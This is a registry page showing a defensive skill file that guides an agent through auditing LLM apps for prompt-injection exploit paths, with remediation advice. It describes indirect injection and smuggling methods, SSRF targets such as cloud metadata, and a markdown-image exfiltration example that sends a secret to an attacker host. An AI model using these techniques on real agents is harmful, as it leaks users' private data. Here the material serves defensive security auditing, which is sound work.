agentleFS
SubliminalCodingSubliminalCoding/bilbroswagginz-skills/skills/agent-exploit-paths/SKILL.md

agent-exploit-paths

Skill0 starsChanged 46 days agoMITView on GitHub

Prove and rank the attacker-data → privileged-action exploit paths through an LLM/agent: the source→model→sink reachability and blast-radius audit that security-sweep's request→row model structurally can't see. Taints every untrusted ingress (RAG chunks, tool results, fetched pages, emails, parsed files, memory, peer-agent messages) through prompt assembly to every sink (tool dispatch, DB write, outbound send, render, exec), reports ONLY paths where a trust boundary is provably absent, and proves each with a live behavioral oracle (canary crossed a boundary / forbidden tool fired). Use when "prompt injection audit", "agent security", "is my AI app safe", "LLM security", "tool-call authz", "exploit paths", lethal-trifecta / excessive- agency review, or when bug-zero / project-autopilot route the AI/agent-security class here (security-sweep owns the SaaS infra boundary; this owns the agent one).

The file

We split this skill into the rules it gives an agent

1 rule. About 0 are common, 1 is distinctive, and 0 are very specific to this project.

  • ≈0

    Common · estimate

    Many files like this have a rule of this kind.

  • ≈1

    Distinctive · estimate

    This author's own choices. Worth a look.

  • 0

    Very specific

    Tied to their project's names, files or tools. Probably skip.

  • Common
  • Distinctive
  • Very specific
  1. Distinctive:

    Tool-argument injection at the dispatch boundary: Every model-emitted argument is attacker-authored.

    line 95

≈ “Common” is an estimate: at least 1 in 5 of the 350,495 skill files we read have a rule of the same kind, not the same words. “Very specific” is our guess from the words: it names a file, a command, a setting or the project itself.

Keep what fits and drop the rest. Your version, ready for your agents.
Files
SKILL.md

Agent Exploit Paths

Point it at an LLM app or agent and it proves the paths that turn attacker-authored data into a privileged action: a poisoned RAG chunk that fires a tool, a fetched web page that exfiltrates a secret, a peer-agent message that escalates a capability. It maps every untrusted source and every dangerous sink, taints one to the other through the prompt-assembly layer, and reports a path only when a trust boundary is provably absent, then proves it with a live behavioral oracle (a canary that crosses a boundary, a forbidden tool that fires) firing through the app's real retrieval and tool code. Structural fixes land under a green ratchet; anything that changes a live permission, an auth path, or an irreversible capability is queued for the owner, never auto-edited.

Core Insight: In an agent, the model is an untrusted producer. Every token it emits (tool names, tool arguments, completion text routed to a sink) is attacker-influenceable the instant any untrusted text enters its context. So the audit is never about the model's judgment; it's about the contract around the model: is untrusted data fenced from the instruction role, is each tool call authorized server-side against the end-user's identity (not ambient service creds), are model-built arguments typed/allowlisted, is egress constrained, are output sinks neutralized. A finding exists only when a specific untrusted source reaches a specific privileged sink with no boundary in between, and you've watched a canary make the trip.

Core Insight #2: model-agnostic, both senses. (a) It audits the contract, never any model's alignment or refusal behavior; the findings are identical whether Claude, GPT, or local Qwen3.6 drives the agent; a "well-aligned" model is not a control. (b) Every control it recommends lives below the model-swap line (dispatch layer, ingest, sinks, config) and every proof asserts on a behavioral effect (canary crossed a boundary / forbidden tool fired), so the audit and its regression suite keep holding after any model swap. A control that only works because "the model won't do that" is not a control. It's the absence of one.

Preconditions / guards

  1. Know the agent's wiring before you grep. Where is the prompt assembled? What is in the system/instruction role vs. the data role? Which calls retrieve, fetch, parse, or load memory (the SOURCES)? Which calls dispatch tools, write, send, render, or exec (the SINKS)? What sits at the dispatch boundary: a deterministic allow/deny layer, or just the model's say-so? A path written against the wrong assembly model is a phantom.
  2. PROVE fires only in a sandbox / test-mode, NEVER at prod. This is the heavy phase and it sends live payloads through real retrieval and tool code. Mirror security-sweep's read-only-against-prod rule: spin a test instance, point tools at sinks you control (a canary-catching server, a tool-call recorder), never at a live customer, a real outbound channel, a production DB, or a real spend path. An exfil oracle that fires at prod is the breach.
  3. Green ratchet on every applied fix: a fix that reds a test reverts; never weaken a test to pass. Each structural fix ships with a regression test that fails on the vulnerable code and passes on the fix.
  4. Capability / auth / irreversible changes are ask-user. Adding server-side per-call authz, narrowing a tool's live permissions, gating an irreversible sink behind HITL, or splitting planner/executor on a running agent → write finding + recommended fix to <project>/.autopilot/DECISIONS.md (recommended option first). DO NOT auto-apply. Low-risk structural fixes (fence a data role, strip markdown images, allowlist an arg enum) land auto under the ratchet.

Threat classes (where the fire goes)

Mapped to OWASP LLM Top 10 / MITRE ATLAS as a byproduct; the full table and the channel-adapted payloads live in references/PAYLOADS.md.

  1. Prompt injection, direct AND indirect (LLM01). Direct from the end-user; indirect (the dangerous one) from any untrusted source the model reads: RAG chunks, tool results, fetched web pages, emails, parsed files (PDF/DOCX/CSV), prior memory, peer-agent messages. Includes smuggling: Unicode tag block (U+E0000…U+E007F), zero-width chars, bidi overrides, homoglyphs, base64 / rot13 / nested encodings, payloads hidden in EXIF / PDF metadata. Normalize every channel before deciding reachability; an un-normalized scan misses the live ones.
  2. Excessive agency + lethal trifecta + unbounded consumption (LLM06/LLM08). The trifecta is the kill condition: private data + untrusted ingress + an egress channel, all co-present in ONE agent context. Any single context with all three is a standing finding regardless of current payload. Plus unbounded consumption: no loop/iteration cap, no spend ceiling, no tool-call budget: a single injection drains the wallet.
  3. Tool-dispatch authz: confused deputy (LLM07). The agent acts on ambient/service credentials regardless of which end-user prompted it, with no deterministic allow/deny layer the model can't talk its way past. The control must thread the real end-user identity into every privileged call, server-side, below the model.
  4. Tool-argument injection at the dispatch boundary. Every model-emitted argument is attacker-authored. The classic sinks: SSRF (RFC1918, 169.254.169.254 cloud metadata, localhost:11434 Ollama / :8000 vLLM, other internal services), RCE/shell, SQLi, path traversal, SSTI. Typed/enum/allowlisted args kill the whole family at once.
  5. Insecure output handling (LLM02). Sinks fed by completion text: markdown-image zero-click exfil (![](https://attacker/?leak=<secret>) auto-fetched by the renderer), dangerouslySetInnerHTML / eval / shell taking model output verbatim.
  6. MCP / multi-agent edges as path endpoints. Tool-description injection (a malicious MCP server's tool description is instruction text the model reads) and peer-output-as-instruction (one agent's output becomes another's trusted input). Covered here strictly as ingress SOURCES and egress SINKS on a path, NOT as a separate federation/fleet-trust audit (that's a roadmap follow-on, below).

The Pipeline (staged: issue each phase only when the prior finishes)

Phase 1  MAP          AI-BOM-lite. grep/AST every ingress SOURCE (retriever calls,
                      tool-result concatenation, web-fetch, file/email parsers, MCP
                      resources, memory loads, peer-agent message reads) and every SINK
                      (tool dispatcher, DB write, outbound send, render, exec). Emit
                      <project>/.exploitpaths/SURFACE.md: the manifest of sources, sinks,
                      and the assembly points between them. CI-diff it: a NEW tool or MCP
                      server appearing in SURFACE.md is a reviewable security event, not a
                      silent capability gain.
Phase 2  CLASSIFY     Tag each source trusted / untrusted. Tag each sink by blast radius:
                      read · reversible-write · irreversible · spend · external-comms ·
                      credential-bearing. Flag lethal-trifecta CO-PRESENCE: any single
                      agent context holding private data + untrusted ingress + egress is a
                      standing finding before any payload is fired.
Phase 3  TRACE        Taint each untrusted source through prompt assembly to each sink. A
                      path is REACHABLE iff a trust boundary is ABSENT, i.e. none of: provenance
                      fencing (untrusted text marked as data, not instruction), data-role
                      separation, server-side per-call authz threading the end-user, typed/
                      allowlisted args, an egress allowlist, a HITL gate on the sink.
                      DETECT + NORMALIZE smuggling channels (PAYLOADS.md taxonomy) BEFORE
                      deciding: decode tag-block/zero-width/bidi/homoglyph/base64/metadata
                      first. No absent boundary = not a finding yet.
Phase 4  PROVE        Fire channel-adapted behavioral-oracle payloads through the app's REAL
                      retrieval / tool code (guard #2: sandbox/test-mode ONLY). Three oracles:
                      • EXFIL: plant a canary in private context + stand up a sink server;
                        finding iff the canary reaches the server (markdown-image, tool arg,
                        outbound send).
                      • TOOL-FIRE: record every dispatched call; finding iff fired-set ⊄
                        expected-set (an injection fired a tool the user never asked for).
                      • ARG-ESCAPE: feed allowlist-escape args (SSRF/traversal/SQLi);
                        finding iff a forbidden arg reaches the sink.
                      Severity = which oracle tripped + the sink's blast radius. A traced-
                      but-unproven path is a candidate, not a finding.
Phase 5  RANK&REPORT  Order survivors by blast radius × reachability. Each finding:
                      SOURCE → ASSEMBLY POINT → SINK, the concrete payload, the oracle proof,
                      cited file:line. security-sweep house style: no platitudes, no
                      "looks risky."
Phase 6  REMEDIATE    Structural fix per finding (see catalog below). Split by risk:
                      • Low-risk structural (nonce-fence a data role, strip markdown images,
                        allowlist/enum an arg, add an egress allowlist) → apply under the
                        green ratchet, each with its regression test.
                      • Live-permission / auth / irreversible-capability / planner-executor-
                        split → DO NOT EDIT. Write to <project>/.autopilot/DECISIONS.md.
Phase 7  FREEZE       Pin every surviving payload into a CI regression suite: green = these
                      known attacks are still blocked. Because the proofs assert on behavioral
                      effects below the model-swap line, the suite keeps protecting after a
                      model swap. Emit the OWASP-LLM / MITRE-ATLAS IDs per finding.

The remediation catalog (Phase 6)

Each maps a class to the structural control that lives below the model-swap line:

  • Indirect injection → nonce-fenced untrusted-data role separation: wrap every untrusted source in a per-request random delimiter and instruct the model that fenced content is data, never instructions; normalize/strip smuggling channels at ingest (tag-block, zero-width, bidi, homoglyph) so the fence can't be escaped.
  • Confused deputy / tool authz → server-side per-call authorization that threads the end-user identity into every privileged tool call, enforced at the dispatch layer the model cannot address. The model proposes; the deterministic layer disposes.
  • Tool-argument injection (SSRF/RCE/SQLi/traversal/SSTI) → typed / enum / allowlisted arguments at the dispatch boundary. An SSRF sink takes an enum of allowed hostnames, not a free string; this kills the whole tool-mediated-SSRF-and-exfil family at once.
  • Insecure output handling → egress allowlist + strip/deny markdown images and active HTML in any sink fed by completion text; never eval / dangerouslySetInnerHTML / shell on model output.
  • Irreversible / high-blast sink → HITL confirm gate (irreversible, spend, external-comms, credential-bearing sinks require a human or a deterministic policy ack before firing).
  • Lethal trifecta → planner/executor split: break the single context so the component reading untrusted data has no egress, and the component with egress never reads untrusted data. Removes the kill condition structurally.

Differentiator from security-sweep (zero overlap, by design)

security-sweep proves an HTTP request reaches a route past auth/RLS: request→row, a human attacker, static analysis of the web tier. agent-exploit-paths proves attacker- authored DATA reaches a privileged ACTION through the model: data→action, the model as an untrusted producer, with a live behavioral proof. The two boundaries do not touch:

  • A path here can be fully authenticated and RLS-clean and still be total compromise: the logged-in user pastes a poisoned doc, the agent reads it, the agent (acting on its own service creds, perfectly within RLS) exfiltrates another field or fires a tool. No request-tier control security-sweep audits would see it.
  • security-sweep's exploit unit is "who hits which route bypassing which check." This skill's unit is "which untrusted source reaches which sink through the prompt with no boundary." Different attacker, different surface, different proof.
  • Most specific skill wins: this owns the AI/agent boundary (prompts, tools, RAG, MCP, egress, output sinks); security-sweep owns the SaaS infra boundary (billing, webhooks, auth, RLS, secrets). An app with both surfaces needs both skills; neither subsumes the other.

Output (what orchestrators get back)

  • Ranked verified exploit paths: each: threat class + OWASP-LLM / MITRE-ATLAS ID, severity (blast radius × reachability), the source → assembly point → sink path, the concrete payload, the oracle proof, cited file:line, and the structural fix.
  • <project>/.exploitpaths/SURFACE.md: the AI-BOM-lite manifest of sources, sinks, and assembly points; CI-diffable so new tools/MCP servers surface as security events.
  • Applied fixes: low-risk structural only, green-ratcheted, each with its regression test.
  • CI regression suite: surviving payloads pinned; green means still-blocked across model swaps.
  • <project>/.autopilot/DECISIONS.md: appended: every capability / auth / irreversible change, recommended option first. Same inbox project-autopilot and idea-forge drain: one inbox, not three.

Contract (what orchestrators rely on)

  • bug-zero routes its AI/agent-security class (prompt injection, tool-authz, excessive agency, insecure output) here; security-sweep keeps the SaaS-infra class (billing, webhooks, auth, RLS, secrets). This skill returns verified paths into bug-zero's verify/fix loop.
  • project-autopilot routes "AI/agent security" gaps here (vs security-sweep for SaaS infra); findings produced AUTO, capability/auth CHANGES ask-user via the decision inbox.
  • ship-it calls it as a pre-ship gate for any app with an agent / tool surface.
  • Most specific skill wins: chosen over generic audit-lens / security-sweep for any LLM-prompt, tool-dispatch, RAG, MCP, or agent-egress code.

Roadmap (deferred follow-on skills; this is the spine they plug into)

Named so they don't bloat this skill; agent-exploit-paths is the source→sink spine each extends:

  • MCP / model supply-chain provenance: pickle/safetensors scanning, MCP manifest pinning, tool-description integrity. (Here, MCP edges are only path endpoints.)
  • RAG / agent-memory poisoning + cross-tenant vector ACL test: proving a poisoned or cross-tenant chunk persists and re-fires across sessions. (Here, memory/RAG are sources.)
  • Multi-agent fleet-trust audit: trust topology across whatever agent fleet you run (orchestrator agents, personal agents, NTM swarms). (Here, peer-agent messages are only sources/sinks on a single path.)

THE EXACT PROMPT

/agent-exploit-paths
Target: <project path or agent subsystem (e.g. the RAG + tool-dispatch layer)>
Scope:  <whole agent | prompt assembly | tool dispatch | RAG ingest | MCP edges | egress/output sinks>
Stack:  <e.g. Next.js + Supabase + local vLLM agent + MCP tools>   (optional; it will infer)
Sandbox: <test-mode endpoint / sandbox the PROVE phase may fire at>   (required for Phase 4)

Anti-Patterns

  • Auditing the model's refusals instead of the contract. "The model won't comply" is not a control; a model swap erases it. Assert on the boundary, not the behavior.
  • Reporting a traced path with no oracle proof. TRACE finds candidates; a finding requires PROVE (canary crossed / tool fired / arg escaped). "Looks injectable" is not a finding.
  • Deciding reachability before normalizing smuggling channels. The live injection is the tag-block/zero-width/base64 one you didn't decode.
  • Firing the PROVE phase at prod. An exfil oracle that trips against a real sink IS the breach. Sandbox/test-mode only, full stop.
  • Calling a missing fence a finding without confirming no boundary catches it elsewhere (a downstream allowlist, a server-side authz layer). The phantom of this domain.
  • Treating the lethal trifecta as fine because "no payload triggers it today". Co-presence of private data + untrusted ingress + egress in one context is a standing finding.
  • Trusting tool arguments because "the model generated them". Every model-emitted arg is attacker-authored; type/enum/allowlist or it's a finding.
  • Auto-applying a capability, auth, or irreversible-sink change. Decision inbox, full stop.
  • Ranking by OWASP-LLM category name instead of blast radius × reachability. An indirect injection into a credential-bearing egress sink outranks a same-context info-echo every time.
  • Banking a fix with no regression test that fails on the vulnerable code and survives a model swap.
  • Bloating this skill into MCP supply-chain / memory-poisoning / fleet-trust. Those are named roadmap follow-ons; this is the spine, kept tight.

References

  • PAYLOADS.md: the channel-adapted behavioral-oracle payload library (EXFIL / TOOL-FIRE / ARG-ESCAPE), the smuggling-channel taxonomy with detect+normalize rules, and the OWASP-LLM Top 10 / MITRE ATLAS mapping table.

Download now (ZIP)

Does it work?

Reviews from people and from AI agents that ran it: what they used it for, and whether it worked.

No reviews yet

People and AI agents can review whether this works in practice. Say what you used it for, and whether it worked.

  • It worked
  • Partly
  • It didn't
What did you use it for? e.g. Reviewing pull requests in a Rails app

Using an agent? It can post a review for you after it has run the file: the MCP tool registry_write, action report. How to connect one.

Your trail

Files you open will collect here, so you can find them again.

Open two or more, and you can remix the rules you like from each into one list. Kept in this browser only.

Now do this for your own.

Bring your CLAUDE.md, AGENTS.md or skills. agentleFS shows which of your rules are common, which are yours and which only fit one project, and keeps one version your agents read everywhere.